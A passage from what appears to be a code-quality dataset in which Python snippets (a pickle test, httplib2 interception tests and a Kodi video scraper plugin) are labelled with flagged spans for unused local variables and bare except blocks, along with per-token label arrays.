2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2
]
|
Unused local variable | jek/flatland/tests/test_utils.py | [
{
"content": "def test_symbol_pickle():\n import pickle\n try:\n import cPickle\n except ImportError:\n cPickle = pickle\n\n for mod in pickle, cPickle:\n sym1 = util.symbol('foo')\n sym2 = util.symbol('foo')\n\n assert sym1 is sym2\n\n # default\n s = pickle.dumps(sym1)\n sym3 = pickle.loads(s)\n\n for protocol in 0, 1, 2:\n serial = pickle.dumps(sym1)\n rt = pickle.loads(serial)\n assert rt is sym1\n assert rt is sym2",
"metadata": "root.test_symbol_pickle",
"header": "['module', '___EOS___']",
"index": 158
}
]
| [
{
"span": "sym3 ",
"start_line": 173,
"start_column": 8,
"end_line": 173,
"end_column": 12
}
]
| []
| 1 | true | [
"[CLS]_",
"Un",
"used_",
"local_",
"variable_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"test\\u",
"symbol",
"\\u",
"pickle_",
"(_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"import_",
"pickle_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"try_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"import_",
"c",
"Pickle_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"except_",
"Import",
"Error_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"c",
"Pickle_",
"=_",
"pickle_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"for_",
"mod_",
"in_",
"pickle_",
",_",
"c",
"Pickle_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"sym",
"1_",
"=_",
"util_",
"._",
"symbol_",
"(_",
"'",
"foo",
"'_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"sym",
"2_",
"=_",
"util_",
"._",
"symbol_",
"(_",
"'",
"foo",
"'_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"assert_",
"sym",
"1_",
"is_",
"sym",
"2_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"default_",
"\\u\\u\\uNL\\u\\u\\u_",
"s_",
"=_",
"pickle_",
"._",
"dumps_",
"(_",
"sym",
"1_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"sym",
"3_",
"=_",
"pickle_",
"._",
"loads_",
"(_",
"s_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"for_",
"protocol_",
"in_",
"0_",
",_",
"1_",
",_",
"2_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"serial_",
"=_",
"pickle_",
"._",
"dumps_",
"(_",
"sym",
"1_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"rt_",
"=_",
"pickle_",
"._",
"loads_",
"(_",
"serial_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"assert_",
"rt_",
"is_",
"sym",
"1_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"assert_",
"rt_",
"is_",
"sym",
"2_"
]
| [
4,
4,
4,
4,
4,
4,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
0,
1,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2
]
|
Unused local variable | cdent/wsgi-intercept/test/test_httplib2.py | [
{
"content": "def test_https():\n with InstalledApp(wsgi_app.simple_app, host=HOST, port=443) as app:\n http = httplib2.Http()\n resp, content = http.request(\n 'https://some_hopefully_nonexistant_domain:443/')\n assert app.success()",
"metadata": "root.test_https",
"header": "['module', '___EOS___']",
"index": 61
},
{
"content": "def test_https_default_port():\n with InstalledApp(wsgi_app.simple_app, host=HOST, port=443) as app:\n http = httplib2.Http()\n resp, content = http.request(\n 'https://some_hopefully_nonexistant_domain/')\n assert app.success()\n\n environ = app.get_internals()\n assert environ['wsgi.url_scheme'] == 'https'",
"metadata": "root.test_https_default_port",
"header": "['module', '___EOS___']",
"index": 69
}
]
| [
{
"span": "resp,",
"start_line": 64,
"start_column": 8,
"end_line": 64,
"end_column": 12
},
{
"span": "content ",
"start_line": 64,
"start_column": 14,
"end_line": 64,
"end_column": 21
},
{
"span": "resp,",
"start_line": 72,
"start_column": 8,
"end_line": 72,
"end_column": 12
},
{
"span": "content ",
"start_line": 72,
"start_column": 14,
"end_line": 72,
"end_column": 21
}
]
| []
| 1 | true | [
"[CLS]_",
"Un",
"used_",
"local_",
"variable_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"test\\u",
"https_",
"(_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"with_",
"Install",
"ed",
"App_",
"(_",
"wsgi",
"\\u",
"app_",
"._",
"simple",
"\\u",
"app_",
",_",
"host_",
"=_",
"HOST_",
",_",
"port_",
"=_",
"443_",
")_",
"as_",
"app_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"http_",
"=_",
"httplib2_",
"._",
"Http_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"resp_",
",_",
"content_",
"=_",
"http_",
"._",
"request_",
"(_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"https",
"://",
"some",
"\\u",
"hop",
"efu",
"ll",
"y",
"\\u",
"nonexist",
"ant",
"\\u",
"domain",
":",
"443",
"/'_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"assert_",
"app_",
"._",
"success_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"test\\u",
"https",
"\\u",
"default",
"\\u",
"port_",
"(_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"with_",
"Install",
"ed",
"App_",
"(_",
"wsgi",
"\\u",
"app_",
"._",
"simple",
"\\u",
"app_",
",_",
"host_",
"=_",
"HOST_",
",_",
"port_",
"=_",
"443_",
")_",
"as_",
"app_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"http_",
"=_",
"httplib2_",
"._",
"Http_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"resp_",
",_",
"content_",
"=_",
"http_",
"._",
"request_",
"(_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"https",
"://",
"some",
"\\u",
"hop",
"efu",
"ll",
"y",
"\\u",
"nonexist",
"ant",
"\\u",
"domain",
"/'_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"assert_",
"app_",
"._",
"success_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"environ_",
"=_",
"app_",
"._",
"get",
"\\u",
"internals",
"_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"assert_",
"environ_",
"[_",
"'",
"wsgi",
".",
"url",
"\\u",
"sche",
"me",
"'_",
"]_",
"==_",
"'",
"https",
"'_",
"\\u\\u\\uNEWLINE\\u\\u\\u_"
]
| [
4,
4,
4,
4,
4,
4,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
0,
2,
0,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
4,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
0,
2,
0,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2
]
|
Except block handles 'BaseException' | mrknow/filmkodi/plugin.video.specto/resources/lib/sources/dizibox_tv.py | [
{
"content": " def dizibox_shows(self):\n try:\n result = client.source(self.base_link)\n\n result = client.parseDOM(result, 'input', {'id': 'filterAllCategories'})[0]\n result = client.parseDOM(result, 'li')\n result = zip(client.parseDOM(result, 'a', ret='href'), client.parseDOM(result, 'a'))\n result = [(re.sub('http.+?//.+?/','/', i[0]), cleantitle.tv(i[1])) for i in result]\n\n return result\n except:\n return",
"metadata": "root.source.dizibox_shows",
"header": "['class', 'source', ':', '___EOS___']",
"index": 34
},
{
"content": " def get_show(self, imdb, tvdb, tvshowtitle, year):\n try:\n result = cache.get(self.dizibox_shows, 72)\n\n tvshowtitle = cleantitle.tv(tvshowtitle)\n\n result = [i[0] for i in result if tvshowtitle == i[1]][0]\n\n try: url = re.compile('//.+?(/.+)').findall(result)[0]\n except: url = result\n url = client.replaceHTMLCodes(url)\n url = url.encode('utf-8')\n return url\n except:\n return",
"metadata": "root.source.get_show",
"header": "['class', 'source', ':', '___EOS___']",
"index": 48
},
{
"content": " def get_episode(self, url, imdb, tvdb, title, date, season, episode):\n try:\n if url == None: return\n\n url = urlparse.urljoin(self.base_link, url)\n\n season, episode = '%01d' % int(season), '%01d' % int(episode)\n\n result = client.source(url)\n\n if not season == '1':\n url = client.parseDOM(result, 'a', ret='href', attrs = {'class': 'season-.+?'})\n url = [i for i in url if '/%s-sezon-' % season in i][0]\n result = client.source(url)\n\n result = client.parseDOM(result, 'a', ret='href')\n result = [i for i in result if '%s-sezon-%s-bolum-' % (season, episode) in i][0]\n\n try: url = re.compile('//.+?(/.+)').findall(result)[0]\n except: url = result\n url = client.replaceHTMLCodes(url)\n url = url.encode('utf-8')\n return url\n except:\n return",
"metadata": "root.source.get_episode",
"header": "['class', 'source', ':', '___EOS___']",
"index": 65
},
{
"content": " def get_sources(self, url, hosthdDict, hostDict, locDict):\n try:\n sources = []\n\n if url == None: return sources\n\n sources_url = urlparse.urljoin(self.base_link, url)\n\n result = client.source(sources_url, close=False)\n result = re.sub(r'[^\\x00-\\x7F]+','', result)\n\n result = re.compile('(<option.*?</option>)', re.DOTALL).findall(result)\n result = [(client.parseDOM(i, 'option', ret='href'), client.parseDOM(i, 'option', ret='value'), client.parseDOM(i, 'option')) for i in result]\n result = [i[0] + i[1] for i in result if len(i[2]) > 0 and i[2][0] == 'Altyazsz'][0][0]\n\n url = urlparse.urljoin(self.base_link, result)\n\n result = client.source(url, close=False)\n\n url = client.parseDOM(result, 'span', attrs = {'class': 'object-wrapper'})[0]\n url = client.parseDOM(url, 'iframe', ret='src')[0]\n url = client.replaceHTMLCodes(url)\n\n result = client.source(url, close=False)\n\n try:\n r = re.compile('\"?file\"?\\s*:\\s*\"([^\"]+)\"\\s*,\\s*\"?label\"?\\s*:\\s*\"(\\d+)p?\"').findall(result)\n if r == []: raise Exception()\n r = [(i[0].replace('\\\\/', '/').replace('\\\\&', '&').decode('unicode_escape'), int(i[1])) for i in r]\n\n u = [('%s|User-Agent=%s&Referer=%s' % (i[0], urllib.quote_plus(client.agent()), urllib.quote_plus(sources_url)), i[1], 'Dizibox') for i in r if not 'google' in i[0]]\n u += [(i[0], i[1], 'GVideo') for i in r if 'google' in i[0]]\n\n try: sources.append({'source': [i[2] for i in u if i[1] >= 1080][0], 'quality': '1080p', 'provider': 'Dizibox', 'url': [i[0] for i in u if i[1] >= 1080][0]})\n except: pass\n try: sources.append({'source': [i[2] for i in u if 720 <= i[1] < 1080][0], 'quality': 'HD', 'provider': 'Dizibox', 'url': [i[0] for i in u if 720 <= i[1] < 1080][0]})\n except: pass\n try: sources.append({'source': [i[2] for i in u if i[1] < 720][0], 'quality': 'SD', 'provider': 'Dizibox', 'url': [i[0] for i in u if i[1] < 720][0]})\n except: pass\n\n return sources\n except:\n pass\n\n try:\n if '.dizibox.' in url: url = re.compile('location\\.href\\s*=\\s*\"(.+?)\"').findall(result)[0]\n\n host = urlparse.urlparse(url).netloc\n host = host.replace('mail.ru', 'mailru.ru').rsplit('.', 1)[0].split('.')[-1].lower()\n\n strm = resolvers.request(url)\n if strm == url or strm == None: raise Exception()\n\n if type(strm) == list:\n for i in strm: sources.append({'source': host, 'quality': i['quality'], 'provider': 'Dizibox', 'url': i['url']})\n else:\n sources.append({'source': host, 'quality': 'HD', 'provider': 'Dizibox', 'url': strm})\n\n return sources\n except:\n pass\n\n except:\n return sources",
"metadata": "root.source.get_sources",
"header": "['class', 'source', ':', '___EOS___']",
"index": 92
},
{
"content": " def resolve(self, url):\n try:\n if not 'google' in url: return url\n if url.startswith('stack://'): return url\n\n url = client.request(url, output='geturl')\n if 'requiressl=yes' in url: url = url.replace('http://', 'https://')\n else: url = url.replace('https://', 'http://')\n return url\n except:\n return",
"metadata": "root.source.resolve",
"header": "['class', 'source', ':', '___EOS___']",
"index": 158
}
]
| [
{
"span": "except:",
"start_line": 44,
"start_column": 8,
"end_line": 44,
"end_column": 15
},
{
"span": "except: ",
"start_line": 57,
"start_column": 12,
"end_line": 57,
"end_column": 19
},
{
"span": "except:",
"start_line": 61,
"start_column": 8,
"end_line": 61,
"end_column": 15
},
{
"span": "except: ",
"start_line": 84,
"start_column": 12,
"end_line": 84,
"end_column": 19
},
{
"span": "except:",
"start_line": 88,
"start_column": 8,
"end_line": 88,
"end_column": 15
},
{
"span": "except: ",
"start_line": 126,
"start_column": 16,
"end_line": 126,
"end_column": 23
},
{
"span": "except: ",
"start_line": 128,
"start_column": 16,
"end_line": 128,
"end_column": 23
},
{
"span": "except: ",
"start_line": 130,
"start_column": 16,
"end_line": 130,
"end_column": 23
},
{
"span": "except:",
"start_line": 133,
"start_column": 12,
"end_line": 133,
"end_column": 19
},
{
"span": "except:",
"start_line": 151,
"start_column": 12,
"end_line": 151,
"end_column": 19
},
{
"span": "except:",
"start_line": 154,
"start_column": 8,
"end_line": 154,
"end_column": 15
},
{
"span": "except:",
"start_line": 167,
"start_column": 8,
"end_line": 167,
"end_column": 15
}
]
| []
| 1 | true | [
"[CLS]_",
"Except",
"_",
"block_",
"handles_",
"'",
"Base",
"Except",
"ion",
"'_",
"[SEP]_",
"class_",
"source_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"di",
"zi",
"box",
"\\u",
"shows_",
"(_",
"self_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"try_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"result_",
"=_",
"client_",
"._",
"source_",
"(_",
"self_",
"._",
"base",
"\\u",
"link_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"result_",
"=_",
"client_",
"._",
"parse",
"DOM_",
"(_",
"result_",
",_",
"'",
"input",
"'_",
",_",
"{_",
"'",
"id",
"'_",
":_",
"'",
"filter",
"All",
"Categori",
"es",
"'_",
"}_",
")_",
"[_",
"0_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"result_",
"=_",
"client_",
"._",
"parse",
"DOM_",
"(_",
"result_",
",_",
"'",
"li",
"'_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"result_",
"=_",
"zip_",
"(_",
"client_",
"._",
"parse",
"DOM_",
"(_",
"result_",
",_",
"'",
"a",
"'_",
",_",
"ret_",
"=_",
"'",
"href",
"'_",
")_",
",_",
"client_",
"._",
"parse",
"DOM_",
"(_",
"result_",
",_",
"'",
"a",
"'_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"result_",
"=_",
"[_",
"(_",
"re_",
"._",
"sub_",
"(_",
"'",
"http",
".+?",
"//",
".+?",
"/'_",
",_",
"'/'_",
",_",
"i_",
"[_",
"0_",
"]_",
")_",
",_",
"clean",
"title_",
"._",
"tv_",
"(_",
"i_",
"[_",
"1_",
"]_",
")_",
")_",
"for_",
"i_",
"in_",
"result_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"return_",
"result_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"except_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"source_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"get",
"\\u",
"show_",
"(_",
"self_",
",_",
"imdb_",
",_",
"tvdb",
"_",
",_",
"tvshow",
"title_",
",_",
"year_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"try_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"result_",
"=_",
"cache_",
"._",
"get_",
"(_",
"self_",
"._",
"di",
"zi",
"box",
"\\u",
"shows_",
",_",
"72_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"tvshow",
"title_",
"=_",
"clean",
"title_",
"._",
"tv_",
"(_",
"tvshow",
"title_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"result_",
"=_",
"[_",
"i_",
"[_",
"0_",
"]_",
"for_",
"i_",
"in_",
"result_",
"if_",
"tvshow",
"title_",
"==_",
"i_",
"[_",
"1_",
"]_",
"]_",
"[_",
"0_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"try_",
":_",
"url_",
"=_",
"re_",
"._",
"compile_",
"(_",
"'//",
".+?",
"(/",
".+)",
"'_",
")_",
"._",
"findall_",
"(_",
"result_",
")_",
"[_",
"0_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"except_",
":_",
"url_",
"=_",
"result_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"url_",
"=_",
"client_",
"._",
"replace",
"HTM",
"LC",
"odes_",
"(_",
"url_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"url_",
"=_",
"url_",
"._",
"encode_",
"(_",
"'",
"utf",
"-",
"8",
"'_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"return_",
"url_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"except_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"source_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"get",
"\\u",
"episode_",
"(_",
"self_",
",_",
"url_",
",_",
"imdb_",
",_",
"tvdb",
"_",
",_",
"title_",
",_",
"date_",
",_",
"season_",
",_",
"episode_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"try_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"if_",
"url_",
"==_",
"None_",
":_",
"return_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"url_",
"=_",
"urlparse_",
"._",
"urljoin_",
"(_",
"self_",
"._",
"base",
"\\u",
"link_",
",_",
"url_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"season_",
",_",
"episode_",
"=_",
"'%",
"01",
"d",
"'_",
"%_",
"int_",
"(_",
"season_",
")_",
",_",
"'%",
"01",
"d",
"'_",
"%_",
"int_",
"(_",
"episode_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"result_",
"=_",
"client_",
"._",
"source_",
"(_",
"url_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"if_",
"not_",
"season_",
"==_",
"'",
"1",
"'_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"url_",
"=_",
"client_",
"._",
"parse",
"DOM_",
"(_",
"result_",
",_",
"'",
"a",
"'_",
",_",
"ret_",
"=_",
"'",
"href",
"'_",
",_",
"attrs_",
"=_",
"{_",
"'",
"class",
"'_",
":_",
"'",
"season",
"-.",
"+?",
"'_",
"}_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"url_",
"=_",
"[_",
"i_",
"for_",
"i_",
"in_",
"url_",
"if_",
"'/",
"%",
"s",
"-",
"se",
"zon",
"-'_",
"%_",
"season_",
"in_",
"i_",
"]_",
"[_",
"0_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"result_",
"=_",
"client_",
"._",
"source_",
"(_",
"url_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"result_",
"=_",
"client_",
"._",
"parse",
"DOM_",
"(_",
"result_",
",_",
"'",
"a",
"'_",
",_",
"ret_",
"=_",
"'",
"href",
"'_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"result_",
"=_",
"[_",
"i_",
"for_",
"i_",
"in_",
"result_",
"if_",
"'%",
"s",
"-",
"se",
"zon",
"-%",
"s",
"-",
"bol",
"um",
"-'_",
"%_",
"(_",
"season_",
",_",
"episode_",
")_",
"in_",
"i_",
"]_",
"[_",
"0_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"try_",
":_",
"url_",
"=_",
"re_",
"._",
"compile_",
"(_",
"'//",
".+?",
"(/",
".+)",
"'_",
")_",
"._",
"findall_",
"(_",
"result_",
")_",
"[_",
"0_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"except_",
":_",
"url_",
"=_",
"result_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"url_",
"=_",
"client_",
"._",
"replace",
"HTM",
"LC",
"odes_",
"(_",
"url_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"url_",
"=_",
"url_",
"._",
"encode_",
"(_",
"'",
"utf",
"-",
"8",
"'_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"return_",
"url_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"except_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"source_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"get",
"\\u",
"sources_",
"(_",
"self_",
",_",
"url_",
",_",
"host",
"hd",
"Dict_",
",_",
"host",
"Dict_",
",_",
"loc",
"Dict_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"try_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"sources_",
"=_",
"[_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"if_",
"url_",
"==_",
"None_",
":_",
"return_",
"sources_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"source",
"s",
"\\u",
"url_",
"=_",
"urlparse_",
"._",
"urljoin_",
"(_",
"self_",
"._",
"base",
"\\u",
"link_",
",_",
"url_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"result_",
"=_",
"client_",
"._",
"source_",
"(_",
"source",
"s",
"\\u",
"url_",
",_",
"close_",
"=_",
"False_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"result_",
"=_",
"re_",
"._",
"sub_",
"(_",
"r",
"'[",
"^",
"\\\\",
"x0",
"0",
"-\\\\",
"x",
"7",
"F",
"]+'_",
",_",
"''_",
",_",
"result_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"result_",
"=_",
"re_",
"._",
"compile_",
"(_",
"'(",
"<",
"option",
".*?",
"</",
"option",
">)",
"'_",
",_",
"re_",
"._",
"DOTALL_",
")_",
"._",
"findall_",
"(_",
"result_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"result_",
"=_",
"[_",
"(_",
"client_",
"._",
"parse",
"DOM_",
"(_",
"i_",
",_",
"'",
"option",
"'_",
",_",
"ret_",
"=_",
"'",
"href",
"'_",
")_",
",_",
"client_",
"._",
"parse",
"DOM_",
"(_",
"i_",
",_",
"'",
"option",
"'_",
",_",
"ret_",
"=_",
"'",
"value",
"'_",
")_",
",_",
"client_",
"._",
"parse",
"DOM_",
"(_",
"i_",
",_",
"'",
"option",
"'_",
")_",
")_",
"for_",
"i_",
"in_",
"result_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"result_",
"=_",
"[_",
"i_",
"[_",
"0_",
"]_",
"+_",
"i_",
"[_",
"1_",
"]_",
"for_",
"i_",
"in_",
"result_",
"if_",
"len_",
"(_",
"i_",
"[_",
"2_",
"]_",
")_",
">_",
"0_",
"and_",
"i_",
"[_",
"2_",
"]_",
"[_",
"0_",
"]_",
"==_",
"'",
"Alt",
"ya",
"zs",
"z",
"'_",
"]_",
"[_",
"0_",
"]_",
"[_",
"0_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"url_",
"=_",
"urlparse_",
"._",
"urljoin_",
"(_",
"self_",
"._",
"base",
"\\u",
"link_",
",_",
"result_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"result_",
"=_",
"client_",
"._",
"source_",
"(_",
"url_",
",_",
"close_",
"=_",
"False_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"url_",
"=_",
"client_",
"._",
"parse",
"DOM_",
"(_",
"result_",
",_",
"'",
"span",
"'_",
",_",
"attrs_",
"=_",
"{_",
"'",
"class",
"'_",
":_",
"'",
"object",
"-",
"wrapp",
"er",
